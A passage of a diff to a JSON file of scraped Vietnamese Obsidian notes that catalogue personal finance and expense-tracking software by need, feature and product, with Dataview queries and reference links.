"https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Tích hợp được với ngân hàng", + "Tiêu đề": "Chỉ cần xét những mục phổ biến", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Hệ thống phân loại/Chỉ cần xét những mục phổ biến", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Tính năng:: [[Phân loại tự động theo quy luật]], [[Phân loại tự động theo mô hình ngôn ngữ lớn]], [[Chỉ có vài trường cơ bản]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6000,14 +6000,14 @@ "id": "5m" }, { - "Tiêu đề": "Xuất được kết quả ra dạng bảng tính", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Xuất được kết quả ra dạng bảng tính", + "Tiêu đề": "Cần xét cặn kẽ từng hạng mục", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Hệ thống phân loại/Cần xét cặn kẽ từng hạng mục", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nĐồng thời có thêm tính năng:: [[Thêm được nhiều trường phân loại]]\r\nĐồng thời có thêm tính năng:: [[Tạo query phức tạp được]]\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Tính năng:: [[Phân loại tự động theo quy luật]]\r\nTính năng:: [[Phân loại tự động theo mô hình ngôn ngữ lớn]]\r\nTính năng:: [[Thêm được nhiều trường phân loại]]\r\nTính năng:: [[Tạo query phức tạp được]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6016,14 +6016,14 @@ "id": "5n" }, { - "Tiêu đề": "Xuất được kết quả ra dạng văn bản thuần", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Xuất được kết quả ra dạng văn bản thuần", + "Tiêu đề": "Không đủ kiên nhẫn", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Khả năng sử dụng/Không đủ kiên nhẫn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Nhu cầu người dùng::\r\nTính năng:: [[Có GUI]], [[Có người hỗ trợ sâu]], [[Game hoá]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6032,46 +6032,46 @@ "id": "5o" }, { - "Tiêu đề": "Nhận diện typo", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Nhận diện typo", + "Tiêu đề": "Cần tích hợp được với các chương trình khác", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Khả năng tích hợp/Cần tích hợp được với các chương trình khác", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng cho nhu cầu: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"1 Nhu cầu người dùng\"))`\r\nCác chương trình có tính năng này: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"5 Tên chương trình\"))`\r\n\r\nĐáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng::\r\n\r\nLoại chương trình:: \r\n", + "Toàn bộ nội dung": "Nhu cầu người dùng::\r\nTính năng:: [[Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-02T15:30:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "5p" }, { - "Tiêu đề": "Chỉ có vài trường cơ bản", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Số lượng trường phân loại/Chỉ có vài trường cơ bản", + "Tiêu đề": "Không cần tích hợp", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Khả năng tích hợp/Không cần tích hợp", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Tính năng:: \r\nLoại chương trình::\r\nTên chương trình::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "5q" }, { - "Tiêu đề": "Thêm được nhiều trường phân loại", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Số lượng trường phân loại/Thêm được nhiều trường phân loại", + "Tiêu đề": "Có thể dành thời gian nghiên cứu", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/2 Yêu cầu đầu vào/Có thể dành thời gian nghiên cứu", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: [[Chương trình kế toán]], [[Template thu chi trên Excel]], [[Chương trình phân loại dữ liệu tự động]]\r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Phù hợp cho nhu cầu:: \r\n\r\nĐáp ứng cho việc:\r\n```dataview\r\nlist without id file.link + \" (\" + substring(split(file.folder, \"/\" )[3], 2) + \")\" \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6080,14 +6080,14 @@ "id": "5r" }, { - "Tiêu đề": "Chương trình ghi chép thu chi cá nhân", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/4 Loại chương trình/Chương trình ghi chép thu chi cá nhân", + "Tiêu đề": "Dữ liệu có văn cảnh lớn", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/2 Yêu cầu đầu vào/Dữ liệu có văn cảnh lớn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tên chương trình:: [[Momo]], [[Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ]], [[MoneyLover]], [[PiPu]]\r\n```dataview\r\ntable \r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách nhập liệu\")) as \"Cách nhập liệu\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách phân loại\")) as \"Cách phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Chính sách giá\")) as \"Chính sách giá\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Giao diện\")) as \"Giao diện\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khả năng tích hợp\")) as \"Khả năng tích hợp\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Số lượng trường phân loại\")) as \"Số lượng trường phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khác\")) as \"Khác\"\r\nfrom outgoing([[]])\r\n```\r\n\r\nTính năng:\r\n```dataview\r\nlist \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Phù hợp cho nhu cầu:: \r\n\r\nĐáp ứng cho việc:\r\n```dataview\r\nlist without id file.link + \" (\" + substring(split(file.folder, \"/\" )[3], 2) + \")\" \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6096,14 +6096,14 @@ "id": "5s" }, { - "Tiêu đề": "Chương trình kế toán", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/4 Loại chương trình/Chương trình kế toán", + "Tiêu đề": "Dữ liệu có văn cảnh nhỏ", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/2 Yêu cầu đầu vào/Dữ liệu có văn cảnh nhỏ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tên chương trình:: [[Misa]], [[Beancount]]\r\n\r\n```dataview\r\ntable \r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách nhập liệu\")) as \"Cách nhập liệu\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách phân loại\")) as \"Cách phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Chính sách giá\")) as \"Chính sách giá\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Giao diện\")) as \"Giao diện\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khả năng tích hợp\")) as \"Khả năng tích hợp\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Số lượng trường phân loại\")) as \"Số lượng trường phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khác\")) as \"Khác\"\r\nfrom outgoing([[]])\r\n```\r\n\r\nTính năng:\r\n```dataview\r\nlist \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n\r\n## Nguyên lý kế toán\r\nBật tốc độ x2 \r\nhttps://www.youtube.com/playlist?list=PL_-45OdYyPILsLksRzmOLUMSeBSUwkAdY\r\n\r\n## Chương trình kế toán văn bản thuần\r\n- [Plain Text Accounting](https://blog.emacsen.net/profit-first-constraints-plain-text-accounting.html \"\")\r\n- [Plain Text Accounting (PTA) - plaintextaccounting.org](https://plaintextaccounting.org/ \"Plain Text Accounting (PTA) - plaintextaccounting.org\")\r\n\r\n!["Managing Your Finances Using Python" - Brian Ryall - YouTube](https://www.youtube.com/watch?v=mFzctYkktXQ \""Managing Your Finances Using Python" - Brian Ryall - YouTube\")\r\n![Double Entry Bookkeeping for Personal Finance - YouTube](https://www.youtube.com/watch?v=lIGJzQw79hg \"Double Entry Bookkeeping for Personal Finance - YouTube\")\r\n![Plain Text Accounting: An Opinionated View - YouTube](https://www.youtube.com/watch?v=ZDF7xVtKLu0 \"Plain Text Accounting: An Opinionated View - YouTube\")\r\n\r\nVì phần chi tiêu cá nhân ko có tác dụng đối với mục đích kê khai thuế ở Mỹ, nên m nói mục đích của dev beancount có vẻ ko phải để theo dõi chi tiêu. b đọc các ví dụ minh họa cách sử dụng của beancount sẽ thấy đa phần là để theo dõi danh mục đầu tư cá nhân, ghi nhận lãi lỗ, nhằm mục đích kê khai thuế thu nhập cá nhân hàng năm của Mỹ. Không như Vietnam thì thuế thu nhập từ đầu tư cá nhân đã được thu hộ tại nguồn là các cty chứng khoán rồi Nhưng m thấy beancount vẫn làm tốt việc theo dõi chi tiêu ở mức tiểu khoản rất tốt. Nếu kiên nhẫn nhập đúng và đủ.\r\n\r\n", + "Toàn bộ nội dung": "Phù hợp cho nhu cầu:: \r\n\r\nĐáp ứng cho việc:\r\n```dataview\r\nlist without id file.link + \" (\" + substring(split(file.folder, \"/\" )[3], 2) + \")\" \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6112,14 +6112,14 @@ "id": "5t" }, { - "Tiêu đề": "Chương trình phân loại dữ liệu tự động", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/4 Loại chương trình/Chương trình phân loại dữ liệu tự động", + "Tiêu đề": "Không cần dữ liệu huấn luyện", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/2 Yêu cầu đầu vào/Không cần dữ liệu huấn luyện", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tên chương trình:: [[Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ]], [[Momo]], [[Misa]], [[Trấn Kỳ (quang cảnh thị trường)]]\r\n\r\n```dataview\r\ntable \r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách nhập liệu\")) as \"Cách nhập liệu\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách phân loại\")) as \"Cách phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Chính sách giá\")) as \"Chính sách giá\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Giao diện\")) as \"Giao diện\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khả năng tích hợp\")) as \"Khả năng tích hợp\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Số lượng trường phân loại\")) as \"Số lượng trường phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khác\")) as \"Khác\"\r\nfrom outgoing([[]])\r\n```\r\n\r\nTính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n\r\nQuán nhỏ thì họ cứ giấy viết sổ sách thôi, họ làm ngày nào xào ngày ấy nên chả quan tâm report hay nhãn dữ liệu là cái gì đâu. Quán lớn hoặc chủ hoặc người quản lý có tư duy vận hành tự động hay số hoá dữ liệu thì họ sẽ tiếp cận vs các đơn vị đang có sẵn giải pháp này trên thị trường rồi. Bạn đặt ra ngữ cảnh là đi chợ, và đây là trường hợp tệ nhất, nó chỉ xảy ra đối với quán nhỏ mình nói đầu tiên kia thôi. Đối với những quán có quy mô hơn thì bên cạnh việc sử dụng giải pháp vận hành công nghệ có sẵn từ các đơn vị khác thì đầu còn lại các supplier của họ cũng có sẵn việc phân loại, thống kê, structure dữ liệu đặt hàng, giao dịch cho quán luôn rồi. Nói chung giải pháp của bạn không mới mẻ cũng không giải quyết vấn đề gì có thật nếu trong ngữ cảnh quán nhỏ xíu đi chợ mua hàng mỗi ngày. Bạn phải để ý, riêng cái hành vi đi chợ mỗi ngày đã là sai trong việc thiết lập quy trình vận hành rồi chứ ko phải lổ hổng của quản lý dữ liệu. Một quán nếu chọn phương án nhập đầu vào thông qua cách đó thì dù có đưa công nghệ vào để xử lý dữ liệu như bạn đang nêu ra thì cũng chẳng triệt để được, nhân viên hoặc người mua vẫn có thể bị rơi vào trường hợp gian lận hoặc thiếu sót dữ liệu thống kê thôi. Góp ý đến bạn nhé ! Thân 👻\r\n[Cộng Đồng Chủ Quán - Khởi Nghiệp Và Kinh Doanh FNB | # Khi nào thì các quán ăn cần tới việc nhập liệu và gắn nhãn dữ liệu | Facebook](https://www.facebook.com/groups/chuquankinhdoanhfnb/posts/1732944450524967/)\r\n\r\n[Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng?](https://slide.quảcầu.cc/Đáp%20ứng%20nhu%20cầu%20doanh%20nghiệp/VNPAY.html?utm_source=Vault+B+Tồn+tại+trong+thế+giới+tư+bản+(Tài+nguyên)&utm_medium=Vault&utm_campaign=&utm_content=Tài+nguyên+hỗ+trợ%2FQuang+cảnh+thị+trường%2FChương+trình+quản+lý+tiền%2F4+Loại+chương+trình%2FChương+trình+phân+loại+dữ+liệu+tự+động.md&utm_term=) \r\n", + "Toàn bộ nội dung": "Phù hợp cho nhu cầu:: \r\nYêu cầu đầu vào:: [[Phải thiết lập cấu hình]]\r\n\r\nĐáp ứng cho việc:\r\n```dataview\r\nlist without id file.link + \" (\" + substring(split(file.folder, \"/\" )[3], 2) + \")\" \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6128,30 +6128,30 @@ "id": "5u" }, { - "Tiêu đề": "Chương trình tài liệu động", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/4 Loại chương trình/Chương trình tài liệu động", + "Tiêu đề": "Không cần thiết lập cấu hình", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/2 Yêu cầu đầu vào/Không cần thiết lập cấu hình", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tên chương trình:: [[Soulver]], [[figr]]\r\n\r\n```dataview\r\ntable \r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách nhập liệu\")) as \"Cách nhập liệu\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách phân loại\")) as \"Cách phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Chính sách giá\")) as \"Chính sách giá\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Giao diện\")) as \"Giao diện\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khả năng tích hợp\")) as \"Khả năng tích hợp\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Số lượng trường phân loại\")) as \"Số lượng trường phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khác\")) as \"Khác\"\r\nfrom outgoing([[]])\r\n```\r\n\r\nTính năng:\r\n```dataview\r\nlist \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n\r\n![Dynamic documents as personal software - Geoffrey Litt - YouTube](https://www.youtube.com/watch?v=bJ3i4K3hefI)", + "Toàn bộ nội dung": "Phù hợp cho nhu cầu:: \r\nĐáp ứng yêu cầu:: \r\n\r\nĐáp ứng cho việc:\r\n```dataview\r\nlist without id file.link + \" (\" + substring(split(file.folder, \"/\" )[3], 2) + \")\" \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-02T10:39:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "5v" }, { - "Tiêu đề": "Plugin cho phần mềm khác", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/4 Loại chương trình/Plugin cho phần mềm khác", + "Tiêu đề": "Phải thiết lập cấu hình", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/2 Yêu cầu đầu vào/Phải thiết lập cấu hình", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tên chương trình:: [[PiPu]], [[Trấn Kỳ]]\r\n\r\n```dataview\r\ntable \r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách nhập liệu\")) as \"Cách nhập liệu\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách phân loại\")) as \"Cách phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Chính sách giá\")) as \"Chính sách giá\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Giao diện\")) as \"Giao diện\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khả năng tích hợp\")) as \"Khả năng tích hợp\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Số lượng trường phân loại\")) as \"Số lượng trường phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khác\")) as \"Khác\"\r\nfrom outgoing([[]])\r\n```\r\n\r\nTính năng:\r\n```dataview\r\nlist \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Có thể dành thời gian nghiên cứu]]\r\n```dataview\r\nlist without id split(file.folder, \"/\" )[3] + \": \" + file.link\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6160,14 +6160,14 @@ "id": "5w" }, { - "Tiêu đề": "Template thu chi trên Excel", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/4 Loại chương trình/Template thu chi trên Excel", + "Tiêu đề": "100k/tháng", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Chính sách giá/100k mỗi tháng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tên chương trình:: [[SaveDi]]\r\n\r\n```dataview\r\ntable \r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách nhập liệu\")) as \"Cách nhập liệu\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách phân loại\")) as \"Cách phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Chính sách giá\")) as \"Chính sách giá\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Giao diện\")) as \"Giao diện\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khả năng tích hợp\")) as \"Khả năng tích hợp\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Số lượng trường phân loại\")) as \"Số lượng trường phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khác\")) as \"Khác\"\r\nfrom outgoing([[]])\r\n```\r\n\r\nTính năng:\r\n```dataview\r\nlist \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6176,432 +6176,430 @@ "id": "5x" }, { - "Tiêu đề": "Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/App quản lý chi tiêu/Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ", + "Tiêu đề": "Freemium", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Chính sách giá/Freemium", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: [[Nhập được trên điện thoại]]\r\nTính năng:: [[Phân loại tự động theo quy luật]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Sử dụng phương pháp chi tiêu phù hợp hoàn cảnh mỗi người]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\nXem thêm:: [[Trấn Kỳ (quang cảnh thị trường)]]\r\n\r\n![[Chương trình quản lý chi tiêu cá nhân]]", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "5y" }, { - "Tiêu đề": "Maybe finance", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/App quản lý chi tiêu/Maybe finance", + "Tiêu đề": "Miễn phí", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Chính sách giá/Miễn phí", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: [[Nhập được trên máy tính]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Là phần mềm tự do]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\nTốn hết $1,000,000 nhưng vẫn thất bại [https://github.com/maybe-finance/maybe](https://github.com/maybe-finance/maybe \"https://github.com/maybe-finance/maybe\")\r\n![](https://maybe.co/assets/screenshot-65d03882.png) \r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính 